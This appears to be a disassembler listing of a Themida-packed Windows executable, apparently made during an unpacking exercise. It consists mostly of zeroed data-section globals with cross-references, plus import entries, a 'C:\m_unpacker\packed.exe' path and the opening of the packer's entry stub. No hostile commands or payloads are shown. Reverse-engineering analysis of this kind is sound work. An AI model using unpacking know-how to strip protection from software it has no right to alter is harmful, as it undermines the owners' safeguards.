dword_4CAFA0 dd 0 ; DATA XREF: sub_409B12+637w
; sub_409B12+77Cr ...
dword_4CAFA4 dd 0 ; DATA XREF: sub_401ACD+73B9r
; sub_409B12+C92w
dword_4CAFA8 dd 0 ; DATA XREF: sub_409B12+879w
; ___:004168D5r ...
dword_4CAFAC dd 0 ; DATA XREF: sub_409B12+112w
dword_4CAFB0 dd 0 ; DATA XREF: sub_409B12+BE7w
; sub_409B12+C22r
dword_4CAFB4 dd 0 ; DATA XREF: sub_401ACD+2FE4r
; sub_401ACD+5F98r ...
dword_4CAFB8 dd 0 ; DATA XREF: sub_409B12+459w
; sub_409B12+4BBr ...
dword_4CAFBC dd 0 ; DATA XREF: sub_409B12+49Aw
; sub_409B12+4E3r ...
dword_4CAFC0 dd 0 ; DATA XREF: sub_409B12+466w
; sub_409B12+4C3r ...
dword_4CAFC4 dd 0 ; DATA XREF: sub_401955+89r
; sub_401ACD+51D3r ...
dword_4CAFC8 dd 0 ; DATA XREF: sub_409B12+1A6w
; sub_409B12+1E2r ...
dword_4CAFCC dd 0 ; DATA XREF: sub_409B12+9F2w
; sub_409B12+A53r ...
dword_4CAFD0 dd 0 ; DATA XREF: sub_409B12+158w
; sub_409B12+1ADr ...
dword_4CAFD4 dd 0 ; DATA XREF: sub_409B12+8Cw
; sub_409B12+E2r ...
dword_4CAFD8 dd 0 ; DATA XREF: sub_409B12+610w
; sub_409B12+764r ...
dword_4CAFDC dd 0 ; DATA XREF: sub_409B12+B43w
; sub_409B12+B5Fr
dword_4CAFE0 dd 0 ; DATA XREF: sub_409B12+33Aw
; sub_419651+55r
dword_4CAFE4 dd 0 ; DATA XREF: sub_409B12+27Ew
; sub_409B12+2D3r ...
dword_4CAFE8 dd 0 ; DATA XREF: sub_409B12+BAAw
dword_4CAFEC dd 0 ; DATA XREF: sub_409B12+AECw
; sub_40AB31+CEr
dword_4CAFF0 dd 0 ; DATA XREF: sub_409B12+ADFw
; sub_409B12+AE6r ...
dword_4CAFF4 dd 0 ; DATA XREF: sub_4017ED+A6r
; sub_401ACD+5132r ...
dword_4CAFF8 dd 0 ; DATA XREF: sub_401ACD+5124r
; sub_401ACD+7980r ...
dword_4CAFFC dd 0 ; DATA XREF: sub_409B12+BF4w
; sub_409B12+C2Fr
dword_4CB000 dd 0 ; DATA XREF: sub_401ACD+1E56r
; sub_401ACD+5AEDr ...
dword_4CB004 dd 0 ; DATA XREF: sub_409B12+9B1w
; sub_409B12+A2Br ...
dword_4CB008 dd 0 ; DATA XREF: sub_409B12+65Ew
; sub_409B12+794r ...
dword_4CB00C dd 0 ; DATA XREF: sub_40111D+12r
; sub_4017ED+D0r ...
dword_4CB010 dd 0 ; DATA XREF: sub_409B12+59Bw
; sub_409B12+70Cr ...
dword_4CB014 dd 0 ; DATA XREF: sub_409B12+B36w
; sub_409B12+B57r
dword_4CB018 dd 0 ; DATA XREF: sub_409B12+540w
; sub_409B12+6C4r ...
dword_4CB01C dd 0 ; DATA XREF: sub_409B12+B29w
; sub_409B12+B4Ar
dword_4CB020 dd 0 ; DATA XREF: ___:00401273r
; sub_409B12+31w ...
dword_4CB024 dd 0 ; DATA XREF: sub_409B12+17Fw
; sub_409B12+1CAr ...
dd 0
dword_4CB02C dd 0 ; DATA XREF: sub_409B12+927w
; sub_409B12+93Br
dword_4CB030 dd 0 ; DATA XREF: sub_409B12+99w
; sub_409B12+EAr ...
dword_4CB034 dd 0 ; DATA XREF: sub_409B12:loc_409C10w
; sub_409B12+12Bw ...
dword_4CB038 dd 0 ; DATA XREF: sub_409B12+126w
; sub_40A7CE+1Cr
dword_4CB03C dd 0 ; DATA XREF: sub_409B12:loc_409D00w
; sub_409B12:loc_409D67w ...
dword_4CB040 dd 0 ; DATA XREF: sub_409B12+250w
; sub_40A7CE+50r
dword_4CB044 dd 0 ; DATA XREF: ___:0040156Ar
; sub_401ACD+4567r ...
dword_4CB048 dd 0 ; DATA XREF: sub_409B12+41Ew
; sub_40A7CE+84r
dword_4CB04C dd 0 ; DATA XREF: sub_409B12:loc_40A016w
; sub_40A7CE:loc_40A87Er
dword_4CB050 dd 0 ; DATA XREF: sub_409B12+4FFw
; sub_40A7CE+B8r
dword_4CB054 dd 0 ; DATA XREF: sub_409B12:loc_40A2E7w
; sub_40A7CE:loc_40A8B2r
dword_4CB058 dd 0 ; DATA XREF: sub_409B12+7D0w
; sub_40A7CE+ECr
dword_4CB05C dd 0 ; DATA XREF: sub_409B12:loc_40A3D2w
; sub_409B12+8EFw ...
dword_4CB060 dd 0 ; DATA XREF: sub_409B12+8EAw
; sub_40A7CE+120r
dword_4CB064 dd 0 ; DATA XREF: sub_401ACD:loc_406F17r
; sub_409B12:loc_40A466w ...
dword_4CB068 dd 0 ; DATA XREF: sub_409B12+94Fw
; sub_40A7CE+154r
dword_4CB06C dd 0 ; DATA XREF: sub_401ACD+456Fr
; sub_409B12:loc_40A582w ...
dword_4CB070 dd 0 ; DATA XREF: sub_409B12+A6Bw
; sub_40A7CE+188r
dword_4CB074 dd 0 ; DATA XREF: sub_409B12:loc_40A5CCw
; sub_40A7CE:loc_40A982r
dword_4CB078 dd 0 ; DATA XREF: sub_409B12+AB5w
; sub_40A7CE+1BCr
dword_4CB07C dd 0 ; DATA XREF: sub_409B12:loc_40A616w
; sub_40A7CE:loc_40A9B6r
dword_4CB080 dd 0 ; DATA XREF: sub_409B12+AFFw
; sub_40A7CE+1F0r
dword_4CB084 dd 0 ; DATA XREF: sub_409B12:loc_40A68Aw
; sub_40A7CE:loc_40A9EAr
dword_4CB088 dd 0 ; DATA XREF: sub_409B12+B73w
; sub_40A7CE+224r
dword_4CB08C dd 0 ; DATA XREF: sub_409B12:loc_40A6D4w
; sub_40A7CE:loc_40AA1Er
dword_4CB090 dd 0 ; DATA XREF: sub_409B12+BBDw
; sub_40A7CE+258r
dword_4CB094 dd 0 ; DATA XREF: sub_409B12:loc_40A772w
; sub_40A7CE:loc_40AA52r
dword_4CB098 dd 0 ; DATA XREF: sub_409B12+C5Bw
; sub_40A7CE+28Cr
dword_4CB09C dd 0 ; DATA XREF: sub_409B12:loc_40A7BCw
; sub_40A7CE:loc_40AA86r
dword_4CB0A0 dd 0 ; DATA XREF: sub_409B12+CA5w
; sub_40A7CE+2C0r
dword_4CB0A4 dd 7 dup(0) ; DATA XREF: sub_40AC0F+32o
dword_4CB0C0 dd 0 ; DATA XREF: sub_40BA56+18r
; sub_40BFEB+92w ...
dword_4CB0C4 dd 0 ; DATA XREF: sub_40C124+4Dr
; sub_40C124+2F1w ...
dd 7FEh dup(0)
dword_4CD0C0 dd 6 dup(0) ; DATA XREF: sub_40C124+D2o
; sub_40C124+13Bo ...
dword_4CD0D8 dd 0 ; DATA XREF: sub_40BACD+2C4w
; sub_40BACD+348o
dword_4CD0DC dd 0 ; DATA XREF: sub_40BACD+33Ew
; sub_40BACD+35Ar
dword_4CD0E0 dd 0 ; DATA XREF: sub_40BACD+2CFw
dword_4CD0E4 dd 0 ; DATA XREF: sub_40BACD+2B9w
; sub_40BACD:loc_40BDE2r
dword_4CD0E8 dd 20h dup(0) ; DATA XREF: sub_40BACD+2E2o
; sub_40BACD+302o
dword_4CD168 dd 0 ; DATA XREF: sub_40BACD+2D5w
dword_4CD16C dd 0 ; DATA XREF: sub_40BACD+2EFw
; sub_40BACD+30Fw
dword_4CD170 dd 0 ; DATA XREF: sub_40BACD:loc_40BE3Dr
align 8
dword_4CD178 dd 0 ; DATA XREF: sub_40BACD+82w
; sub_40BACD+101o
dword_4CD17C dd 41h dup(0) ; DATA XREF: sub_40BACD+41o
dword_4CD280 dd 41h dup(0) ; DATA XREF: sub_40BACD+69o
dword_4CD384 dd 0 ; DATA XREF: sub_40BACD+F7w
; sub_40BACD+113r
dword_4CD388 dd 0 ; DATA XREF: sub_40BACD+52w
dword_4CD38C dd 0 ; DATA XREF: sub_40BACD+4Dw
; sub_40BACD+D4r
dword_4CD390 dd 20h dup(0) ; DATA XREF: sub_40BACD+9Ao
; sub_40BACD+BAo
dword_4CD410 dd 0 ; DATA XREF: sub_40BACD+8Fw
dword_4CD414 dd 0 ; DATA XREF: sub_40BACD+A7w
; sub_40BACD+C7w
dword_4CD418 dd 0 ; DATA XREF: sub_40BACD:loc_40BBF6r
align 10h
dword_4CD420 dd 0 ; DATA XREF: sub_40BACD+1A5w
; sub_40BACD+225o
dword_4CD424 dd 41h dup(0) ; DATA XREF: sub_40BACD+167o
dword_4CD528 dd 41h dup(0) ; DATA XREF: sub_40BACD+18Co
dword_4CD62C dd 0 ; DATA XREF: sub_40BACD+21Bw
; sub_40BACD+237r
dword_4CD630 dd 0 ; DATA XREF: sub_40BACD+17Aw
dword_4CD634 dd 0 ; DATA XREF: sub_40BACD+175w
; sub_40BACD+1F8r
dword_4CD638 dd 20h dup(0) ; DATA XREF: sub_40BACD+1BEo
; sub_40BACD+1DEo
dword_4CD6B8 dd 0 ; DATA XREF: sub_40BACD+1B1w
dword_4CD6BC dd 0 ; DATA XREF: sub_40BACD+1CBw
; sub_40BACD+1EBw
dword_4CD6C0 dd 0 ; DATA XREF: sub_40BACD:loc_40BD1Ar
align 8
dword_4CD6C8 dd 0 ; DATA XREF: sub_40BACD+417w
; sub_40BACD+470o
dword_4CD6CC dd 0A2h dup(0) ; DATA XREF: sub_40BACD+405o
dword_4CD954 dd 41h dup(0) ; DATA XREF: sub_40BACD+3CFo
dword_4CDA58 dd 0 ; DATA XREF: sub_40BACD+3FCw
; sub_40BACD+423r
align 10h
dword_4CDA60 dd 0 ; DATA XREF: sub_40BACD+466w
; sub_40BACD+482r
dword_4CDA64 dd 0 ; DATA XREF: sub_40BACD+429w
dword_4CDA68 dd 0 ; DATA XREF: sub_40BACD+436w
dword_4CDA6C dd 0 ; DATA XREF: sub_40BACD+3F6w
dd 0
dword_4CDA74 dd 0 ; DATA XREF: sub_40BACD:loc_40BF65r
dd 0
dword_4CDA7C dd 0 ; DATA XREF: sub_40B719+Er
; sub_40B719+32r
dword_4CDA80 dd 0 ; DATA XREF: sub_40B719+9r
; sub_40B719+26r
dword_4CDA84 dd 82h dup(0) ; DATA XREF: sub_40C59B+8Do
dword_4CDC8C dd 2 dup(0) ; DATA XREF: sub_40CF04+68o
dword_4CDC94 dd 0 ; DATA XREF: sub_40D89F+8w
; ___:0040DC6Eo
dd 0
dword_4CDC9C dd 2 dup(0) ; DATA XREF: ___:0040DBA4o
dword_4CDCA4 dd 0 ; DATA XREF: ___:0040E4D7r
dd 0
dd 0
dword_4CDCB0 dd 0 ; DATA XREF: ___:0040E4AAr
dword_4CDCB4 dd 0 ; DATA XREF: ___:0040E48Cr
; ___:0040E4F5r
dd 0
dword_4CDCBC dd 0 ; DATA XREF: sub_40BACD+2AEr
; ___:0040E6E8w
dd 0
dword_4CDCC4 dd 0 ; DATA XREF: sub_40B785+1Cr
dword_4CDCC8 dd 0 ; DATA XREF: ___:0040EFE8w
; ___:0040F00Fr ...
dd 3 dup(0)
dword_4CDCD8 dd 0 ; DATA XREF: ___:00410905r
align 10h
dword_4CDCE0 dd 0 ; DATA XREF: sub_412351+4w
; sub_412351+9o
dd 109h dup(0)
dword_4CE108 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Eo
; sub_401ACD:loc_404AC4o
dword_4CE728 dd 0 ; DATA XREF: sub_401ACD+1A23w
; sub_401ACD+2F66r ...
dd 11Ch dup(0)
dword_4CEB9C dd 1000h dup(0) ; DATA XREF: sub_4151AC+1Do
; sub_41524Co ...
dword_4D2B9C dd 0 ; DATA XREF: sub_4151AC+13o
; sub_41524C+Eo ...
dword_4D2BA0 dd 0 ; DATA XREF: sub_4155F7+Fr
; sub_4157F0+12r
align 8
dword_4D2BA8 dd 0Eh dup(0) ; DATA XREF: sub_416922+Fo
dword_4D2BE0 dd 80h dup(0) ; DATA XREF: sub_4175E9+41o
dword_4D2DE0 dd 200h dup(0) ; DATA XREF: sub_416F1A+C7o
; sub_417275+DDo ...
dword_4D35E0 dd 200h dup(0) ; DATA XREF: sub_416F1A+D6o
; sub_417275+F4o ...
dword_4D3DE0 dd 0 ; DATA XREF: sub_416F1A+86w
; sub_4170EC+94r
dword_4D3DE4 dd 0 ; DATA XREF: sub_416F1A+A7w
; sub_417552+55r ...
dword_4D3DE8 dd 0 ; DATA XREF: sub_416F1A+A0w
; sub_4170EC+D6r ...
dword_4D3DEC dd 0 ; DATA XREF: sub_416F1A+79w
; sub_4170EC+35r ...
dword_4D3DF0 dd 80h dup(0) ; DATA XREF: sub_417552+5Eo
dword_4D3FF0 dd 0 ; DATA XREF: sub_416F1A+93w
; sub_4170EC+A2r
align 8
dword_4D3FF8 dd 0 ; DATA XREF: sub_416F1A+E7o
; sub_416F1A+103r ...
dword_4D3FFC dd 0 ; DATA XREF: sub_417275+17Bw
; sub_41741C+107w
dword_4D4000 dd 0 ; DATA XREF: sub_417275+180w
; sub_41741C+10Dw ...
dword_4D4004 dd 0 ; DATA XREF: sub_417275+159w
; sub_417552+4Fr
dword_4D4008 dd 0 ; DATA XREF: sub_4178BA+22w
; sub_4178BA:loc_417A3Fw ...
dword_4D400C dd 0 ; DATA XREF: sub_401ACD+3CC3o
; sub_417788+12o ...
dd 0
dword_4D4014 dd 0 ; DATA XREF: sub_4178BA+1Cr
; sub_417A5F+3Ar
dd 4Eh dup(0)
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: ___:off_437830o
dd 30h dup(0)
dword_4D4214 dd 0 ; DATA XREF: sub_4178BA+28r
; sub_417A5F+4Aw
dword_4D4218 dd 1944h dup(0)
dword_4DA728 dd 0 ; DATA XREF: sub_417A5F+23o
dword_4DA72C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE1o
; sub_417788+3Co ...
dword_4DA930 dd 17h dup(0) ; DATA XREF: sub_4187DD:loc_4188FAo
; sub_4187DD+131o ...
dword_4DA98C dd 80h dup(0) ; DATA XREF: sub_419593+7Co
; sub_419593+A5o
dword_4DAB8C dd 0 ; DATA XREF: sub_418B58+45w
; sub_418B58+4Dr ...
dword_4DAB90 dd 17h dup(0) ; DATA XREF: sub_41945F:loc_419581o
; sub_41945F+12Do
dword_4DABEC dd 80h dup(0) ; DATA XREF: sub_418A98+4Co
; sub_418A98+7Eo ...
byte_4DADEC db 0 ; DATA XREF: sub_418B58+29r
; sub_418B58+34w
align 10h
dword_4DADF0 dd 80h dup(0) ; DATA XREF: sub_418DAF+61o
; sub_418DAF+89o ...
dword_4DAFF0 dd 81h dup(0) ; DATA XREF: sub_4186C1:loc_4186F9o
; sub_4186C1+5Bo
dword_4DB1F4 dd 0 ; DATA XREF: sub_419A20:loc_419A41r
; sub_419B0F+54r ...
dword_4DB1F8 dd 0 ; DATA XREF: sub_419A20r
; sub_419B0F+37r ...
dword_4DB1FC dd 0 ; DATA XREF: sub_419A50+1Ar
; sub_419C64+83o
dword_4DB200 dd 0 ; DATA XREF: sub_419A20:loc_419A34r
; sub_419C64+11Bw
dword_4DB204 dd 0Dh dup(0) ; DATA XREF: sub_419B0F+13o
; sub_419C64:loc_419DA1o
dword_4DB238 dd 0 ; DATA XREF: sub_419B0F+CDr
; sub_419B0F+ECr ...
align 10h
dword_4DB240 dd 0Eh dup(0) ; DATA XREF: sub_41A88B+47o
dword_4DB278 dd 0 ; DATA XREF: sub_41BBBD+1B9w
; ___:loc_41D268w ...
dword_4DB27C dd 0 ; DATA XREF: sub_41D3BE+35w
; sub_41DA72:loc_41DB0Cw ...
dword_4DB280 dd 0 ; DATA XREF: sub_423A33+13Ar
dd 0A28h, 501h, 5, 1
dword_4DB294 dd 1 ; DATA XREF: ___:loc_401516r
; ___:00423014w
dword_4DB298 dd 2430B30h ; DATA XREF: ___:0040151Fr
; ___:0040153Fr ...
align 10h
dword_4DB2A0 dd 2430B58h ; DATA XREF: ___:00422F0Ew
; sub_425AC7+9r ...
dword_4DB2A4 dd 0 ; DATA XREF: sub_4261AB+36r
dword_4DB2A8 dd 0 ; DATA XREF: sub_425AC7+16r
; sub_425E95+4r ...
align 10h
off_4DB2B0 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
; "C:\\m_unpacker\\packed.exe"
align 8
byte_4DB2B8 db 0 ; DATA XREF: sub_41B7D3+2Dw
; sub_4239DB+5r
align 4
dword_4DB2BC dd 0 ; DATA XREF: sub_41B7D3+27w
dword_4DB2C0 dd 0 ; DATA XREF: sub_41B7D3+4r
; sub_41B7D3+8Bw
dword_4DB2C4 dd 0 ; DATA XREF: sub_41C0F4+3Br
; sub_41C0F4+91w
dd 0
dword_4DB2CC dd 0 ; DATA XREF: sub_41C748+Aw
dword_4DB2D0 dd 0 ; DATA XREF: sub_41D081+5Er
; sub_41D081+A4w
align 8
word_4DB2D8 dw 0 ; DATA XREF: sub_41D081+55r
; sub_41D081+9Ao
word_4DB2DA dw 0 ; DATA XREF: sub_41D081+48r
db 2 dup(0)
word_4DB2DE dw 0 ; DATA XREF: sub_41D081+3Br
word_4DB2E0 dw 0 ; DATA XREF: sub_41D081+2Er
word_4DB2E2 dw 0 ; DATA XREF: sub_41D081+21r
align 8
dword_4DB2E8 dd 0 ; DATA XREF: ___:loc_422EDCr
; ___:loc_422F1Er ...
align 10h
dword_4DB2F0 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB2F4 dd 0 ; DATA XREF: sub_41EB10+4Bw
; sub_41EC29+2Dw ...
dword_4DB2F8 dd 0 ; DATA XREF: sub_41F312r
dword_4DB2FC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er
; sub_41B202:loc_41B43Fr ...
dword_4DB300 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r
; sub_420042+4w ...
dword_4DB304 dd 0 ; DATA XREF: sub_420446+37r
dd 0
dword_4DB30C dd 0 ; DATA XREF: sub_4219D9+11r
; sub_421ADD+1Ar ...
byte_4DB310 db 0 ; DATA XREF: sub_4219D9+3r
; sub_4219D9+98r ...
align 4
dword_4DB314 dd 0 ; DATA XREF: sub_421ADD+11r
; sub_421BBB+21w ...
byte_4DB318 db 0 ; DATA XREF: sub_421BBB+51w
align 4
dword_4DB31C dd 0 ; DATA XREF: sub_421DB1+4Er
; sub_42218C+3Ar ...
dword_4DB320 dd 0 ; DATA XREF: sub_421DB1+5Cr
; sub_42218C+43r ...
dword_4DB324 dd 0 ; DATA XREF: sub_41C9CE+7Ar
; sub_421F58+5r
dword_4DB328 dd 0 ; DATA XREF: sub_42255C+29r
dword_4DB32C dd 2 dup(0) ; DATA XREF: sub_41D160+Co
dword_4DB334 dd 0 ; DATA XREF: sub_41D5AA+4r
; sub_41D5AA+6Er ...
dd 3 dup(0)
dword_4DB344 dd 0 ; DATA XREF: sub_41D834+61r
; sub_41D834+BFr ...
dd 0
dword_4DB34C dd 1 ; DATA XREF: sub_422ACA+28r
; sub_422ACA+4Cw ...
dword_4DB350 dd 0 ; DATA XREF: ___:00422D28r
; ___:00422D34w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
; ___:off_4DB2B0o
align 10h
dd 3Ah dup(0)
dword_4DB458 dd 1 ; DATA XREF: ___:004231D2r
; ___:004231F3w ...
dword_4DB45C dd 0 ; DATA XREF: sub_423590+21r
dword_4DB460 dd 0 ; DATA XREF: sub_41F32D+154w
; sub_420446:loc_42046Fw ...
dword_4DB464 dd 0 ; DATA XREF: sub_41F32D+7r
dword_4DB468 dd 1 ; DATA XREF: sub_423CEC+26r
; sub_423CEC:loc_423D56w
align 10h
word_4DB470 dw 0 ; DATA XREF: sub_4245E9+1Ao
; sub_4245E9+46r
byte_4DB472 db 0 ; DATA XREF: sub_4245E9+39r
align 4
dword_4DB474 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o
dword_4DB490 dd 0 ; DATA XREF: sub_4245E9+40w
; sub_4245E9+5Co
dword_4DB494 dd 0 ; DATA XREF: sub_4245E9+4Dw
dword_4DB498 dd 0 ; DATA XREF: sub_4245E9+31w
dword_4DB49C dd 0 ; DATA XREF: sub_4245E9+52w
dword_4DB4A0 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr
; sub_42470C+38r ...
align 8
dword_4DB4A8 dd 0 ; DATA XREF: sub_4247EC+11w
; sub_4247EC+63w ...
align 10h
dword_4DB4B0 dd 0 ; DATA XREF: sub_4247EC+33o
; sub_4247EC+46r
dword_4DB4B4 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o
word_4DB4F4 dw 0 ; DATA XREF: sub_424A4A+A8r
word_4DB4F6 dw 0 ; DATA XREF: sub_4247EC+54r
; sub_424A4A+DBr ...
word_4DB4F8 dw 0 ; DATA XREF: sub_424A4A+CAr
word_4DB4FA dw 0 ; DATA XREF: sub_424A4A+D3r
; sub_424A4A:loc_424B3Cr
word_4DB4FC dw 0 ; DATA XREF: sub_424A4A+C0r
word_4DB4FE dw 0 ; DATA XREF: sub_424A4A+B8r
word_4DB500 dw 0 ; DATA XREF: sub_424A4A+B0r
word_4DB502 dw 0 ; DATA XREF: sub_424A4A+9Er
dword_4DB504 dd 0 ; DATA XREF: sub_4247EC+4Br
dword_4DB508 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo
word_4DB548 dw 0 ; DATA XREF: sub_424A4A+46r
word_4DB54A dw 0 ; DATA XREF: sub_4247EC:loc_424863r
; sub_424A4A+78r ...
word_4DB54C dw 0 ; DATA XREF: sub_424A4A+67r
word_4DB54E dw 0 ; DATA XREF: sub_424A4A+70r
; sub_424A4A:loc_424ACEr
word_4DB550 dw 0 ; DATA XREF: sub_424A4A+5Dr
word_4DB552 dw 0 ; DATA XREF: sub_424A4A+55r
word_4DB554 dw 0 ; DATA XREF: sub_424A4A+4Dr
word_4DB556 dw 0 ; DATA XREF: sub_424A4A+3Er
dword_4DB558 dd 0 ; DATA XREF: sub_4247EC+80r
dword_4DB55C dd 0 ; DATA XREF: sub_4247EC+132r
; sub_4247EC:loc_424938r ...
dword_4DB560 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DB564 dd 0 ; DATA XREF: sub_424D78+3r
; sub_424D78+2Ew ...
dword_4DB568 dd 0 ; DATA XREF: sub_424D78+43w
; sub_424D78:loc_424DC7r
dword_4DB56C dd 0 ; DATA XREF: sub_424D78+4Aw
; sub_424D78+60r
dword_4DB570 dd 0 ; DATA XREF: sub_423A33+3Fr
dword_4DB574 dd 0 ; DATA XREF: sub_425955:loc_4259BCr
; sub_425955+6Do
dword_4DB578 dd 0 ; DATA XREF: sub_425955:loc_425993r
; sub_425955+44o
dword_4DB57C dd 0 ; DATA XREF: sub_425955:loc_425986r
; sub_425955+37o
dword_4DB580 dd 0 ; DATA XREF: sub_425955:loc_4259A0r
; sub_425955+51o
align 8
dword_4DB588 dd 0 ; DATA XREF: sub_425F03+28r
; sub_425F03+48w ...
dword_4DB58C dd 0 ; DATA XREF: sub_426988+28r
; sub_426988+4Cw ...
dword_4DB590 dd 0 ; DATA XREF: sub_426C13+26r
; sub_426C13:loc_426C7Dw
byte_4DB594 db 0 ; DATA XREF: sub_40D878r sub_40D878+9w
align 4
dword_4DB598 dd 2431140h ; DATA XREF: sub_41DBF0:loc_41DC01r
; sub_41F49D+14r ...
align 10h
dword_4DB5A0 dd 400h dup(0) ; DATA XREF: ___:off_43C9E8o
; ___:0043C9F0o
dword_4DC5A0 dd 200h ; DATA XREF: sub_41DBF0+9r
; sub_41DBF0+56r ...
dd 7 dup(0)
dword_4DC5C0 dd 2430650h ; DATA XREF: sub_41F043+75r
; sub_41F11C+2Ar ...
dword_4DC5C4 dd 3Fh dup(0) ; DATA XREF: ___:00423394o
dword_4DC6C0 dd 20h ; DATA XREF: sub_41DA72+8r
; sub_41F11C+Cr ...
dword_4DC6C4 dd 4E4h ; DATA XREF: sub_41FEA9+14r
; sub_41FEA9+65w ...
align 10h
dword_4DC6D0 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o
; sub_41FEA9+171o ...
dword_4DC6DC dd 0 ; DATA XREF: sub_41FEA9+108w
; sub_41FEA9+15Dw ...
byte_4DC6E0 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w
; sub_4200E8:loc_420211w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DC7E0 db 0 ; DATA XREF: sub_41FEA9+5Co
; sub_41FEA9+AFo ...
byte_4DC7E1 db 0 ; DATA XREF: sub_41B9D1+5Dr
; sub_41FEA9+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DC8E4 dd 0 ; DATA XREF: sub_41FEA9+6Ew
; sub_41FEA9+12Bw ...
dword_4DC8E8 dd 0 ; DATA XREF: sub_41E4D4+5r
; sub_41E4D4+32w
dword_4DC8EC dd 0 ; DATA XREF: sub_41DEA2+23Ar
; sub_41DEA2+25Ar ...
dword_4DC8F0 dd 0 ; DATA XREF: sub_41DEA2+311w
; sub_41E1CB:loc_41E21Br ...
dword_4DC8F4 dd 0 ; DATA XREF: sub_41DEA2+22Dr
; sub_41DEA2+260r ...
dword_4DC8F8 dd 0 ; DATA XREF: sub_41DE77r
; sub_41DEA2+2CBr ...
dword_4DC8FC dd 0 ; DATA XREF: sub_41DE77+8r
; sub_41DEA2+2D0r ...
dword_4DC900 dd 0 ; DATA XREF: sub_41B202+5Cr
; sub_41B513+Fr ...
dword_4DC904 dd 2430000h ; DATA XREF: sub_41B0B1+5Ar
; sub_41B202+C0r ...
dword_4DC908 dd 1 ; DATA XREF: sub_41B0B1+Cr
; sub_41B202:loc_41B232r ...
dword_4DC90C dd 142340h ; DATA XREF: ___:00422E81r
; ___:00422FACr
dword_4DC910 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DC914 dd 1 ; DATA XREF: sub_42026Dr
; sub_42026D+11w ...
dword_4DC918 dd 2430758h ; DATA XREF: sub_41B7D3+3Er
; sub_41CFD3+13r ...
dword_4DC91C dd 2430758h ; DATA XREF: sub_41B7D3+35r
; sub_41B7D3+57r ...
dd 1B8h dup(0)
dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___ ends
; Section 2. (virtual address 000DE000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000DE000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 4DE000h
dd 400h dup(0)
_rsrc___ ends
; Section 3. (virtual address 000DF000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000DF000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 4DF000h
a7icwCw db '7¨çwµ\çw',0
align 4
dd 77345219h, 4 dup(0)
dd 0DF050h, 0DF000h, 3 dup(0)
dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0 db 'KERNEL32.dll',0
db 2 dup(0), 43h
aReatefilea db 'reateFileA',0
align 4
dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
dd 6C642E32h, 6Ch
aInitcommoncont db 'InitCommonControls',0
align 1000h
_idata__ ends
; Section 4. (virtual address 000E0000)
; Virtual size : 000E0000 ( 917504.)
; Section size in file : 000E0000 ( 917504.)
; Offset to raw data for section: 000E0000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
Themida_ segment para public 'DATA' use32
assume cs:Themida_
;org 4E0000h
dd 0EE508D91h, 4A7E4h, 54093h, 95172h, 0
; =============== S U B R O U T I N E =======================================
public start
start proc near
var_1C = dword ptr -1Ch
; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053E1CD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00541506 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054177C SIZE 00000047 BYTES
mov eax, 0
pusha
or eax, eax
jz short loc_4E0086
call $+5
pop eax
add eax, 53h
cmp byte ptr [eax], 0E9h
jnz short loc_4E0041
popa
jmp short loc_4E0076
; ---------------------------------------------------------------------------
db 0DBh, 2Dh, 37h
dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
db 40h
; ---------------------------------------------------------------------------
loc_4E0041: ; CODE XREF: start+18j
call $+5
pop eax
